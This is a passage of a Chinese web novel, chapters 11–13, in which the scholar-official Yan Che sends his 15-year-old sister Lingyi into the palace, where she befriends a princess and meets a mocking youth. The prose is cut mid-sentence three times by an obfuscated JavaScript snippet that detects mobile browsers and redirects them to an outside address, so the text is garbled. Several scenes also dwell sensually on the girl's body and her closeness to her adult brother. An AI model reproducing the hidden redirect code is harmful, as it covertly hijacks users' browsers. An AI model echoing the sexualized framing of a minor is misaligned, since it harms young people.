说罢,他自然拿起一旁的棉帕,将她带到软榻上,动作轻柔地为她拭发。 令颐乖乖坐在冰丝竹席上,小脚丫在榻边轻晃。 待小姑娘钻进纱帐躺好,又缠着哥哥给她讲故事。 颜彻便继续讲书生和玉兔的故事。 说到书生不得已将玉兔交给别人时,令颐的小脸皱成一团,腮帮子像塞了两颗糖丸。 “玉兔那么胆小,为什么书生要把它关进笼子里呀?” 颜彻轻声道:“因为书生要去考科举,路上危险重重。” “他不是不要玉兔,而是在保护她。” 令颐眨了眨纤长的睫毛,懵懵懂懂。 颜彻嗓音低沉而温柔:“令颐,我现在所谋之事极度凶险,需要把你送入宫暂避。” “我已安排妥当,三日后皇子公主选伴读,以你的才学定能入选。若是中选,你需要在宫里待上一段时日。” 令颐问:“就像书生要把玉兔关进笼子一样吗?” 颜彻缓缓点头:“是。” 令颐怔住,茫然又慢吞吞地睁大眼睛。 她抿了抿唇,小手攥紧了衣角,又松开。 “哥哥,没事的,我去。” 颜彻抬眸看她。 令颐挺起胸脯,努力做出可靠的样子。 “哥哥莫要小瞧我!上次嬷嬷教我行礼,说我学得比宫里的公主还标准呢!” 她从枕头下拿出一个绣着胖鲤鱼的荷包。 “还有这个,这是哥哥今年给我的压岁钱,里面都是金瓜子,我能把御膳房的点心都买光!” 小姑娘说着说着,声音越来越小,渐渐安静下去。 颜彻看着那颗毛茸茸的小脑袋慢慢垂下去,单薄的小肩膀也缩了起来。 “哥哥……” 她带着哭腔轻唤,可怜兮兮咬着唇。 明媚的杏眼已经被泪珠洇湿。 下一刻,小姑娘再也控制不住情绪,穿过那道轻纱帐幔,朝他扑了过来。 搂住他脖子,纤细的胳膊紧紧挂在他肩膀上,整个人埋进哥哥怀中。 颜彻声似叹息:“令颐……” 令颐肩膀一抽一抽的:“我会努力选上,会照顾好自己的,哥哥你也要按时用膳,别总熬夜看公文,记得给我写信,也记得给学馆里的猫咪喂肉干……” “要是有人欺负你,你、你也要跟我说!” 小姑娘攥着他的衣襟不肯松开,娇小的身躯止不住的轻颤。 像是生怕一松手,眼前的人就会抛下她。 颜彻抱紧怀里小小的一团,下颌轻轻抵在她发顶,无声地点了头。 令颐拿手抹了抹眼泪,努力让声音扬起。 “哥哥,不用担心我,皇宫不是笼子,我会玩得很开心的。听说御花园有会说话的鹦鹉,还有好多漂亮的锦鲤。” 颜彻赞许点头,声音比往日更加温柔。 “放心,我给你打点好一切,你一定会玩得开心。” 他一向克制,这一次却任由她抱了许久。 许久没有这种感觉了。 原以为,自从十二岁那日之后,他的心不会再有任何波澜。 朝堂诡谲,风云变幻,他向来举重若轻。 哪怕面对阉竖的滔天责难,他都平淡地没有一丝情绪。 可这一次,他抱着怀中的小人,胸腔里的情绪怎么也压不下去。 摇曳烛光下,男子一双黑眸寒意刺骨,没有一丝温度。 那些伤害过姜家的人,那些威胁到令颐安危的人…… 就让他们彻底消失好了。 少女娇娇柔柔伏在他身上,到最后哭得累了,竟然就这样安然睡去。 颜彻护着她的后脑,将人轻放至榻上,掖好被子。 修长的手指轻轻拂过少女恬静的睡颜,拨开她脸上被薄汗打湿的软发。 许是手太凉,触到的那一刻,小姑娘身体轻微颤了一下。 年轻郎君温柔一笑。 “好梦,小玉兔。” * 知道令颐要入宫的消息,最难以接受的是祝颂然。 “我理解颜先生的用意,可令颐她……再过两个月就是她十五岁生辰礼了。” 生辰还是其次,她最忧心的是令颐的安危。 她这个小师妹心性单纯天真烂漫,进了皇宫那样吃人不眨眼的地方,怕是要遭罪。 宋嘉策在一旁安慰道:“师姐这话可就岔了,你想啊,若令颐的生辰在宫里过,若有幸由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762952|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主殿下和皇后娘娘亲自操办,那排场连首辅家的小姐都要眼红呢!” 他说着,又绘声绘色地讲起自己当年给皇子当伴读的事。 “那时候我虽说是当跟班,可走在街上谁不敬我三分?连我家那个整日板着脸教训我的大哥,见了我都得赔着笑脸,不敢大声说话。” 他突然转身,对着令颐行了个标准的宫礼。 “参见姑娘,姑娘日后飞黄腾达了,可莫要忘了我们这些故人啊。” 祝颂然被他这副做派逗得噗嗤笑出声。 “没个正形!难道入宫当伴读就是为了狐假虎威,让人不敢跟你大声说话?” 见祝颂然展颜,宋嘉策笑得爽朗。 只要能把祝颂然逗开心,他就像尝到什么天大的甜头。 令颐挽住师姐的胳膊轻晃。 “师姐你看,哥哥和羡文师兄都说没事,你就不用担心我啦。” 宋嘉策道:“就是就是,不用担心。京城那些世家子弟我都熟得很,到时候定让他们多关照令颐。” 话虽如此,可祝颂然还是放心不下。 接下来的日子里,她亲自为令颐打点行装,主要是四季衣裳和贴身饰物,样样皆是精挑细选。 作为京城最大布商家的千金,她最享受的就是把令颐打扮得漂漂亮亮的。 令颐每日看着成堆的漂亮衣裳,眼睛都瞧不过来。 祝颂然却还嫌不够,恨不得把全京城的绣娘都召来给令颐裁衣。 这日,入宫伴读的名单终于公布。 果然如颜彻所说,这种程度的考试对令颐来说十分简单,她很轻松便选上了。 甚至力压一众世家女,位列第一。 书斋内,宋嘉策指着名单上的其他人,帮祝颂然挨个点评。 “哦,这位啊,这位是太傅家的千金,令颐应该见过的。那位是镇远将军的侄女,上次赛马赢过我的,性子爽快得很……” 祝颂然拿着笔细细在纸上记下。 令颐好奇问:“师姐为何如此在意这张名单?” 祝颂然道:“自然要打听清楚,若是其中有谁与谁有过节,也好让你提前避开。” 正说着,忽然,她的目光凝固在名单末尾,脸色瞬间煞白。 她死死盯着那个名字,几乎不敢相信自己的眼睛。 燕珩。 淮容侯世子,燕侯爷嫡子,燕珩。 也就是,与令颐退婚的那位未婚夫。 她急声道:“宋羡文,你不是说跟世家公子都相熟吗,那这位淮容侯世子呢,你可熟悉?” 宋嘉策的笑容亦是僵在脸上。 “我、我……” 祝颂然的心直往下沉。 淮容侯府与颜家的那段恩怨,京城无人不知。 如今令颐要与淮容侯世子同入宫廷,这到底是巧合,还是有人刻意为之? 此人绝对没安好心,说不定,就是冲着令颐来的! 宋嘉策挠头,硬着头皮道:“这、虽说这位确实没接触过,但听说此前在猎场和哪位世家公子起了争执,当着众多大人的面,他一箭射中他发冠,是个不好相与的……” 祝颂然脸色更难看了。 “不行,令颐决不能去!” 淮容侯府对颜氏兄妹的敌意她十分清楚,若令颐真和那位燕小侯爷撞上,后果不堪设想! 令颐眨着眼睛,不明白师姐为何如此激动。 祝颂然道:“令颐,我们现在就去找颜先生,说不定此事还有转机!” 11. 第 11 章 “师姐,我们冷静一下好不好……” 令颐很少见师姐这般失态,心里砰砰直跳。 关于退婚的事,她记得并不真切。 那时她还小,所有的事都是颜彻在处理。 不知是不是他的授意,自那以后,身边没有一个人在她面前提过淮容侯府。 令颐咬着唇瓣:“师姐,那个燕世子……是因为我没有嫁给他,所以他会生气么?” “可是我连他长什么样子都不知道,他为什么要生气啊?” 祝颂然听得心里更不是滋味。 她的小师妹这样单纯,哪里懂朝堂上那些弯弯绕绕? 淮容侯府处处与颜家作对,在朝堂上给颜彻使绊子的事,令颐一概不知。 这样入宫,简直就是兔子进了豺狼窝。 “先跟师姐去找颜先生吧。” 她拉住令颐径直往外走,宋嘉策张了张嘴想阻拦,被祝颂然一记眼刀把话咽了回去。 挹青堂内,颜彻正批阅文书。 见三人慌慌张张闯进,他缓缓抬头。 一双凤眸淡淡扫来。 “何事?” 清冽的嗓音瞬间驱散了几人携带进屋的浮躁气。 祝颂然见到他这副样子,整个人猛然清醒了不少,原本想说的话一句也说不出口了。 颜彻能成为学生们第一惧怕的人物,不是没有原因。 颜彻对人对事向来温文尔雅,可无论是权势煊赫的公卿,还是沙场饮血的武将,都会被他压住气势,不敢轻易造次。 此刻他只是闲适地倚在案前,周身却萦绕着令人窒息的威压。 祝颂然顿时如醍醐灌顶,这才惊觉自己此刻有多失态。 她恭恭敬敬地将来由说明,声音不自觉放得很轻。 “学生并非质疑师长,只因实在担心师妹令颐才会如此失礼。” 祝颂然深深一拜:“请先生责罚。” 颜彻并未罚她,只淡淡唤道:“羡文。” 宋嘉策:“学生在。” “带你师姐去静室,让她冷静冷静。” “是,先生。” 宋嘉策去扶祝颂然,小声道:“师姐,咱们先出去。” 祝颂然见状,知道颜彻已经有了打算,恭敬行礼:“学生告退。” 令颐原本攥着师姐的衣袖躲在她身后,待两人走后,她就像只突然暴露在阳光下的垂耳兔,并着手,无措站在原地。 颜彻抬眸,看着这个耷拉着脑袋的小姑娘。 唇瓣上那颗小痣已经被咬得嫣红,在瓷白的肌肤上格外醒目,像是被咬破的樱桃。 可想而知,方才她有多么紧张慌乱。 令颐搓着手:“哥哥,我们是不是不该来打扰你?” 颜彻温柔道:“令颐,来。” 他朝她伸出手,示意她过去。 令颐“唔”了一声,乖巧走上前。 然后,自然而然……坐到了他的腿上。 颜彻眉头轻挑。 十五岁的少女身量已经长开,柔软的肌肤隔着薄衫传来温热。 小姑娘的脸离他不过几寸,他甚至能闻到蜜饯的香气。 她眨着水灵灵的杏眼,无辜又单纯地看着他,粉嫩的唇瓣几乎要蹭到他下颌。 娇小的身子自然而然靠在他怀里,坐姿乖巧,一副理所当然的样子。 令颐从小便喜欢坐在颜彻怀里,手里把玩着玩具,玩着玩着就睡着了,像只黏人小猫。 而颜彻则一向定力好,哪怕她在怀里再胡闹也能坐姿不乱,照常写字作画。 久而久之,令颐便养成了这样的习惯。 可那毕竟是小时候,现在无论从哪个方面也不能把令颐当成小猫看。 颜彻无奈一笑:“令颐,你虚岁已十六,还要随便坐在哥哥腿上吗。” 令颐不解:“为什么不能坐啊……” 她突然想起什么,慌张低头看向自己腰间的软肉。 小姑娘眼里瞬间泛起泪光:“哥哥是嫌我胖了么?” “唔……最近不是天热嘛,令颐就忍不住想吃甜的,董大娘还总给我开小灶……” “而且,丰乐楼的新品太好吃了,令颐就忍不住吃的多了,祝师姐都说我腰围粗了一寸。” 令颐自从上次在诗会中夺得魁首后,没事就往丰乐楼跑。 要不是颜彻时时管着她,她怕是要把冰食当饭吃。 小姑娘低下头,一副做错事的样子。 颜彻看到她这副可怜巴巴的样子,又哪里真的会惩罚她。 他低笑了声,道:“胖了也无妨,又不是抱不动。” 说着,他揽着她的腰往怀里带了带,让她坐得更舒服些。 “哥哥问你,你害怕入宫吗?” 令颐认真想了想:“原本是不想去的,但哥哥说过这是要紧事,令颐会乖。” “好姑娘。” 颜彻继续问:“害怕那个淮容侯世子吗?” 这倒把令颐问住了。 她沉思了一会,又开始咬唇瓣上的小痣。 “令颐没有见过他,但羡文师兄说这个人可凶了,上次还把别人的发冠都射穿了。祝师姐也说他会欺负令颐,所以令颐确实有一些怕……” 小姑娘垂下杏眸,手指揪住他的衣襟。 “哥哥,不是所有人都喜欢我的,是么?” 颜彻道:“是的。” “令颐,我们的利益和别人的利益一定是冲突的,若我们能被所有人喜爱,说明我们一直在委曲求全。” “至于入宫是好还是坏,只有你自己去了才知道。” 令颐点头如捣蒜:“原来如此,哥哥我明白了。” “哥哥常教我们,实践出真知,要真真切切去体验,令颐记得哥哥的话。” 颜彻赞许点头。 “再过十日你就要入宫了,正好,我有东西要给你。” 说罢,他托住她的膝弯,抱起小姑娘起身往内室方向走去。 突然转换的姿势让令颐下意识伸手环住他脖颈。 湖蓝色广袖滑落,露出一截雪白皓腕。 颜彻道:“搂紧些,别掉下去。” 令颐此时已经整个人怔住,根本没听清颜彻在说什么。 明明是最亲的哥哥,可她看着近在咫尺的一张俊脸,脑袋嗡了一阵。 自从来洛安以后,颜彻从来没有主动抱过她。 若非她时常撒娇耍赖,否则以颜彻的清冷性子,两人怕是一点肢体接触都没有。 而此时,颜彻紧紧将她箍在怀里,肌肉线条在轻薄的衣衫下显得紧绷而有力。 她紧贴着单属于男子的宽大有力的躯膛,像被一堵墙包裹。 原来被主动抱是这样一种感觉。 令颐很喜欢这种感觉,身体不自觉往哥哥怀里蹭了蹭。 这种感觉没持续多久,两人便到了内室。 颜彻很少午休,也不喜久卧榻上,但书斋内还是布置了寝屋。 三面竹简木架,一张榻床,还有雕花衣柜和紫檀妆台。 他将人放在妆台前,从衣柜中取出一套杏色衣裙。 “你祝师姐对你好是真,选的衣服却不太衬你。” “试试这件吧。” 令颐还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762953|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次听人说祝师姐的衣服不适合她,好奇拿了那件衣服看。 这一看,便移不开眼了。 阳光下,那件衣服折射出波光粼粼的银纹,衣料水一般滑腻。 是流光锦。 据说这种衣料是西域进贡的珍品,连宫里都少见,有再多的银子也买不到。 她眼睛瞬间亮了起来:“哥哥,这衣服好漂亮,令颐喜欢!” “喜欢就试试。” 令颐点点头,张开胳膊撒娇道:“那哥哥帮我更衣。” 颜彻挑眉:“什么都要哥哥帮?” 令颐委屈嘟起嘴:“芳菲和晴雪不在嘛,这个衣带我自己解不开……” 她转过身,指了指背后繁复的系带。 颜彻沉默了三息。 少女纤细的脖颈肌肤细腻,泛着莹白的光,让人移不开眼。 他淡淡道:“我去唤别人帮你。” 说罢,平静转身离开。 没过多久,一位年长的婆子进来,为令颐更衣。 待穿戴整齐,令颐站在铜镜前,蓦然明白了哥哥的用意。 她本就生得粉面桃腮,娇俏可人,祝颂然给她选的衣裳,便是将她可爱的一面发挥到了极致。 却掩藏了她少女的模样。 而此时,镜中少女一改往日娇憨,杏色流光锦恰到好处地勾勒出初显的曲线。 令颐的脖子非常好看,皮肤细腻如玉,衣领处精巧的剪裁恰好露出他精致的锁骨。 袖口缀着的珍珠随着动作摇曳生辉,整个人宛如初夏初绽的芙蕖。 既有少女的灵动,又平添几分说不出的甜媚。 令颐眸中难掩惊艳之色,却见颜彻不知何时已站在了她身后。 “哥哥。” 她轻唤一声,声音带着兴奋和羞涩。 年轻郎君修长的身影在镜中与她交叠,她却看不清他眼底流转的暗色。 只见他骨节分明的手指轻抚过她颈间,温热的指尖似有若无擦过肌肤。 “还差一色。” 令颐顺着他的目光低头,的确,与华美的衣裙相比,颈间显得太过空荡。 “璎珞玉饰都不适合。” “过来。” 颜彻取来螺黛与胭脂,示意她坐到榻上。 令颐乖巧跪坐,看着哥哥执笔蘸取一点胭脂,袖间冷松香幽幽散开。 笔尖落在她娇嫩的肌肤上,毫毛细腻柔软,她忍不住缩了缩脖子。 “哥哥,痒……好痒!” 小姑娘咯咯笑了起来,锁骨随动作更加凸显。 不经意间衣领微敞,一抹雪色暴露在男子的视线中。 颜彻执笔的手微微一顿,眸光渐沉。 “别乱动。” 笔尖渐渐带上克制的力道,在少女颈侧游走,绘出几朵含苞待放的杏花。 “好了。” 颜彻搁下笔,声响格外闷重。 令颐迫不及待跑到铜镜前。 淡粉花瓣顺着精致的锁骨蜿蜒而下,与她瓷白的肌肤相映。 如画上点睛之笔,平添一段浑然天成的风流娇媚。 令颐对着铜镜左看右看,怎么也看不够。 她雀跃转着圈,裙裾绽开层层涟漪。 “哥哥好厉害,像真花一样!” 她转身扑进颜彻怀里,仰起小脸:“令颐穿这个进宫,一定不给哥哥丢脸!” 少女脸颊染上绯红,在杏花衬托下愈发娇艳欲滴。 颜彻面容上浮起温柔笑意。 “就这样去见他。” “侯府之人,得为当初的退婚后悔。” 12. 第 12 章 转眼到了十日后,世家公子和小姐们进宫的日子。 令颐一大早就已被芳菲和晴雪伺候着梳妆完毕。 马车已等在了颜府外,几个同文馆的人前来送行。 祝颂然替令颐仔细整好衣襟。 “颜先生一早就被急召入宫议事了,他特意派人嘱咐我来送你。” “莫要难受,先生有他的难处。” 令颐摇了摇脑袋,笑得明媚。 “师姐放心,令颐不难受。” 只有她才知道哥哥为了她入宫的事费了多少心血。 这几日她晚上总是失眠,倚梦症愈发严重了,颜彻便寸步不离守着她。 甚至昨晚还在床边给她念《宫规》,把注意事项交代了一遍又一遍。 片刻后,芳菲在一旁提醒:“姑娘,该启程了。” “这么快吗……” 祝颂然红了眼,将令颐搂进怀里。 “记住,若是受了委屈,有同文馆里的师姐和师兄撑腰。” “嗯嗯,我知道啦。” 令颐也抱紧了她:“师姐别难过,我会照顾好自己的。” 她用力将眼泪憋回去,给师姐做了个鬼脸。 马车渐行渐远,直到颜府门口的几人渐渐消失不见,令颐才忍不住擦了擦眼角。 芳菲安慰她:“姑娘真坚强,这次没有哭呢,若是大公子知道了一定会欣慰的。” 晴雪也笑着说:“二姑娘板着脸憋泪的样子瞧着更可爱了呢。” “诶呀你们干嘛笑我嘛!” 三人说着闹着,原本伤感的路程倒也变得欢声笑语。 半个时辰后,朱红的宫门缓缓开启,一行华盖马车鱼贯驶入南三宫。 此处是皇子和公主们的住所,令颐透过纱帘望去,满目红墙金瓦,重重叠叠,看不到尽头。 芳菲小声嘀咕:“听说这次光九公主就选了十二位伴读呢。” 晴雪惊得合不拢嘴:“这么多!” “是呢,这次入宫不一样,不光是给十二皇子和九公主选伴读,皇上也是为了让世家子弟们有学习的机会,笼络重臣。” 几人正说着,马车停住。 一行人下了车,被宫人引着走入一处宫殿。 “姑娘们这边请。” 公主府正殿内,令颐同其他几个世家小姐一样入席而坐。 众人的目光一下子落在她身上。 有贵女掩帕问身旁人:“这便是颜状元的妹妹?” 此前她们便听说,这次入宫名单的榜首是颜府的小姐。 虽说他们此前从未给见过这位颜二小姐,但此女既是名动京华的颜状元胞妹,又能在众多贵女中夺魁,定是才学出众。 原以为是个清婉端庄又富有书卷气的女子,可这位二小姐看着娇娇小小的,满脸稚气,分明一副年纪不大的样子。 一张极度明艳秀丽的脸,面如春桃,星目流波。 樱唇微启时,颊边梨涡忽现,活脱脱一个嫣然巧笑的小美人儿。 与时人眼中才女的形象简直大相径庭,说是宫里娇养的金枝玉叶也不为过。 单单坐在那里,便将满屋寡淡木讷的世家小姐比了下去。 方才还矜持端方的贵女们此刻面面相觑,生出几分自惭形秽来。 “呵,谁家正经闺阁养得出这般尤物?小妖精似的,定不是个好相与的!” “就是,再美也是小家小户出来的,哪儿比得过葛小姐,人家可是葛太傅的千金。” “听说还是没爹没娘的,有才气也白搭。” 贵女们心里那点子妒意化作了酸涩,在一起窃窃私语着。 一会看看令颐,一会又将目光移向一旁身着绿衣,纤柔娴雅女子。 令颐向来迟钝,端坐在席上专注玩着臂间碧色披帛,将披帛绕成个蝴蝶结。 浑然不觉自己已成为满室焦点。 恰在这时,一人从身后唤她:“颜二姑娘。” 令颐扭头,却见葛家小姐葛娰宁朝她走来。 葛姒宁道:“我与颜姑娘前不久才见过,没想到这般有缘。上月丰乐楼雅集,二姑娘那阙《菩萨蛮》当真精妙。” 令颐有些懵懵的。 可哥哥教过她要保持礼貌,既然对方向自己表达友好,她便也高高兴兴和她寒暄。 她一心想着要大大方方不能给哥哥丢人,浑然不觉对方的话有多么夹枪带棒。 葛姒宁的确因为丰乐楼的事心怀芥蒂。 可眼下跟令颐说了几句话,心道这丫头原来是个没心眼的,便觉得自己没必要跟一个傻子置气,心里那股气竟也消了大半。 两人有一搭没一搭说着,直到一声宫人的高喊响起。 “九公主到——” 众人循声望去,只见一个身着华丽宫服的少女在众人的簇拥下缓步走来。 九公主萧明玥,年方及笄,鹅蛋脸面,眉眼弯弯,脖上挂着缨络圈,还有一对如意金锁。 有人小声道:“听说九公主乃是贤妃娘娘所生,与七皇子殿下是一母同胞。” “难怪,贤妃娘娘貌美,生的两位皇子都这般好看。” 九公主好奇地扫视殿内的人。 忽然,她发现什么,提着裙向下跑去。 “你好漂亮,方才阿玥在屏风后偷看,还当是画上走下来的桃花仙呢!” 九公主径直朝令颐走来,握住她的手,脸上满是开心。 令颐今日按照哥哥教她的方法,化的是桃花妆。 额间用胭脂绘成桃花,花蕊处缀着米粒大的珍珠,配着鹅黄色月华裙,当真是清丽绝俗。 “阿玥喜欢漂亮的人,阿玥要和这个姐姐玩。” 说着,拉着令颐的手腕就要往殿外跑。 一旁的嬷嬷赶忙拦住:“公主殿下使不得,现在还不是玩的时候。” * 京城,杨府。 正厅内,当朝首辅杨连昌和颜彻对坐品茗。 首辅大人年近六旬,眉宇间沉淀着数十年宦海沉浮的稳重。 他缓缓开口,同眼前人道:“皇后娘娘膝下无子,大皇子与三皇子相争已有五载,如今六部要职已各有所属,这盘棋……倒是越下越明了。” “浔之,老夫知你志在社稷,不在权术,这二位殿下,怕是入不得你的眼。” 颜彻道:“大人谬赞,大人多年周旋于阉宦之间,力保朝堂清明,才是居功至伟。” 杨连昌捋了捋胡须,看向这个清贵儒雅,面色从容的年轻官员。 目光带着欣赏,与忌惮。 真是年轻有为啊。 寒门出身,却浑身带着王族的傲气、贵气。 不过弱冠之龄就有如此城府,谈吐间滴水不漏,做事若是没有十足十的把握,绝不出手。 表面温和笑着,但永远想不到他下一秒会做出什么惊天动地的举动。 杨连昌笑着摇了摇头。 他忍不住想象,若这柄藏在鞘中的利剑主动出刃,该是怎样的光景。 只怕对方,绝无活路可言。 “三皇子软弱,阉党将宝压到他身上,真不知该说他们慧眼独具还是愚不可及。” 颜彻道:“鹬蚌相争,七殿下倒可借此良机韬光养晦。” 杨连昌点头。 两人又聊了些朝政要务,已是茶过三巡。 杨连昌道:“方才七殿下遣人送来密信,信中提到,他已托九公主殿下多为照看令妹。” 颜彻神情起了一丝波澜。 只是一眨眼的功夫,他便将情绪收敛,恢复方才的疏冷淡然。 杨连昌继续道:“至于淮容侯府那边,皇上将要推行军马政,想来侯爷很长一段时间内无暇顾及他事。” 颜彻拱手作揖。 “有劳七殿下与首辅大人如此周全,下官铭感五内。” * 令颐觉得,九公主似乎格外喜欢她。 太傅和御史们授课时倒还正常,但只要一下了课,她便拉着她去放纸鸢。 令颐很少和同龄姑娘来往,几日相处下来,两人竟是兴趣相仿,十分聊得来。 这日,两人倚着栏杆在碧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762954|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波池旁喂鱼,聊着明天的课业。 九公主道:“听说明日授课的李御史是二甲第一名,在翰林院讲学过。” “那还是我哥哥更厉害,我哥哥可是状元郎!” 令颐很少和人攀比,比哥哥除外。 在她眼里,她家浔之哥哥无所不能,是全天下最好的哥哥。 九公主生出好奇:“你说颜大人啊。” “令颐姐姐,颜大人究竟是什么样的人,阿玥总是见他和一帮大人站在一起,瞧着好出众。” 令颐骄傲仰起小脸,给九公主讲她的哥哥,还有同文馆,还有她的师兄师姐们。 九公主脸上露出羡慕的神情。 “有一个疼你的哥哥真好,阿玥就不能跟哥哥们太亲近,宫里头的人大多对我也是恭敬疏远。” 她落寞垂下眼。 令颐心中微涩,安慰她:“殿下别不开心,你住这么漂亮的宫殿,还有这么多人陪你上课,也很令人羡慕啊。” 九公主道:“姐姐你不知,阿玥在宫中有太多限制了,这也不能做,那也不能做,父皇和母妃也见不上几次……” 令颐见小公主一副要掉泪珠的样子,绞尽脑汁想着怎么安慰她。 忽然一股香气传来,令颐眼眸一亮。 “殿下闻闻,这是不是板酥鸭的香气!” 九公主抬起泪眼:“嗯?” 不远处就是御膳房,一股酥香飘到两人跟前。 “正是板酥鸭!听说这鸭子是金陵贡来的,上次我与姐姐都说好吃,可惜一人只得半片。” 宫里规矩多,每人用膳多少都有严格限制。 九公主想起什么,声音激动起来:“姐姐,不如我们提前去尝尝鲜!” “……提前去?” 没过一会,两个娇小的身影贴着廊道潜行,鬼鬼祟祟往御膳房方向去。 令颐很少做这么出格的事,想起哥哥教她在宫里要谨言慎行,心里一阵心虚。 但想着能让九公主开心,她在心里不停宽慰自己。 没事没事,事出有因,哥哥会原谅我的…… 御膳房热气蒸腾,蒸笼里,油亮酥鸭泛着好看的蜜色光泽。 九公主格外激动,将酥鸭揣了好几只。 “什么人在里面!” 门外侍卫的声音响起,一阵脚步声传来,眼看就要冲进来。 九公主吓得脸色煞白。 “怎么办怎么办,要是父皇知道了会罚我关禁闭的!” 她扭头看见一个一人高的柜子,对令颐道:“姐姐,你快躲在这里,我是公主,她们不敢拿我怎么样!” 令颐摇头,反手用力将九公主往柜门里塞。 “不,殿下躲在这里,我跑得快,我去引开他们!” 她说罢就把九公主推了进去,从另一侧门跑出。 令颐哒哒跑在廊道上,心脏几乎要跳出来。 小时候她也调皮,给哥哥添了不少麻烦,但从来没有捅过这么大的篓子。 万一被逮住,会不会让哥哥丢脸啊! 她越想越慌,小腿迈得飞快。 正是慌不择路之际,身后追兵的呼喝声已近在咫尺! 眼见就要被追上,一个人影闪出将她拽到一边! “唔!” 令颐尚未惊叫出声,便被一只手捂住双唇。 远处响起侍卫们的脚步声。 “仔细点,别让人跑了!” 角落处,令颐被人死死钳制着。 身后人粗粝的掌心粗粝磨得她颧骨生疼。 她想挣扎,头顶传来陌生男子的声音:“别乱动。” 不知过了多久,侍卫们的声音远去,身后那人终于缓缓松开她。 令颐踉跄挣脱,揉着自己发痛的脸,眼泛泪花。 “你是谁,怎么这般无礼!” 用那么大力,都要把她的脸给捏碎了! 对方并未回答,反而仔细打量了她一番。 片刻,一声带着了然和戏谑的低笑响起。 “这不是小桃花吗?” 13. 第 13 章 令颐定眼看向这个救了自己的人。 面前少年郎君一袭玄衣劲装,墨发高束,美目潋滟,一张脸跌丽瑰艳到极致。 令颐此前一直觉得,哥哥那种清冷儒雅的长相是全天下最好看的长相,除了哥哥,别人的的相貌她很少能欣赏到。 可眼前这位,她竟然下意识觉得,他长得很好看。 少年双手环胸,端的是桀骜不驯。 “我救了你,你反而指责我?” “你一个小丫头,鬼鬼祟祟出现在这里,还被侍卫当刺客追赶,到底是谁无礼?” 少年声音懒洋洋的,十分漫不经心。 “我、我……” 令颐一时语塞,她不愿出卖九公主。 对方上下扫视她,唇角一勾。 “不过嘛,这张脸倒是生得不错,难怪九公主总把你当宝贝带在身边。” 令颐从没有被男子如此轻浮打量过,哥哥看向她的目光从来都是温雅如玉的。 哪像眼前这个人,浑身傲慢轻狂之气,看人的时候仿佛两把刀射过来。 面前人忽地靠近,屈指就要触到她脸颊上的梨涡。 令颐连忙后退。 “登……登徒子!男女授受不亲!” 少年挑眉:“怎么,救命恩人反倒成了登徒子?” “我、我是颜府的千金,你不能欺负我!” “颜府千金?” 对方似乎听到了什么极其好玩的事,眼底笑意愈发浓郁。 “听说颜家贵女知书达理,怎么光天化日在皇宫里被侍卫追得满院跑,嗯?” 令颐神情呆住。 眼下的情形已经超出了她的理解能力,她不知道该怎么回答。 可她自小蒙颜彻教导,教养让她无法不理别人的话。 她绞尽脑汁想了想,仰起脸一本正经道:“我是颜府的二小姐,今日是我闯祸,郎君救了我,他日若有难处,我会报答你的!” “今日之事,还请郎君莫要和别人说。” 这是玉兔话本里的台词,令颐干脆直接拿来用了。 少年朗声大笑,指着她笑弯了腰。 “你倒有趣,说话像个小夫子,不去做学堂里的教书先生可惜了。” 令颐脸颊越发烧得滚烫。 恰这时,不远处出现几道人影,有宫人往这边而来。 她想起九公主这会可能还在焦急寻她,慌乱福了福身。 “总、总之多谢郎君,后会有期!” 话音未落,她几乎是逃也似的跑开。 身后,少年望着那抹落荒而逃的窈窕身影,还有少女发红的耳尖,神情越发玩味。 令颐回去后,远远就瞧见九公主在原地急得团团转,眼眶发红。 见她平安无事,九公主“哇”地一声扑过来。 “姐姐你终于回来了,你要是出了事,我可怎么办呐!” 令颐还有些发懵:“我、我没事的。” 想起方才那张昳丽的面容,她心里有些六神无主。 九公主仔细打量她:“姐姐脸色怎么这么差,是不是遇上了什么人?” “这……” 令颐这才反应过来,自己只说要报答对方,却连对方是谁都不知道。 她将方才的情况大致说了一遭。 九公主思考了一会。 “姐姐放心,此人说不定是哪家公子身边的小厮,待我这几日打听一番将此人找出,定不让姐姐惹上麻烦。” “到时候,让他跪着给姐姐赔罪!” 两人说着话,几个锦衣华服的贵女从一旁经过,恰好看到这一幕。 一个年纪不大的贵女对葛娰宁忿忿道:“也不知给九公主下了什么迷药,吃穿用度样样比我们好,一个人住一间殿室,连赏的云锦都要先紧着她挑,简直要成公主了!” 葛娰宁似笑非笑:“谁让人家琴棋书画样样精通,我们谁比的过她啊。” 年轻贵女不服:“这有什么的,女子看的是家世和德行。” 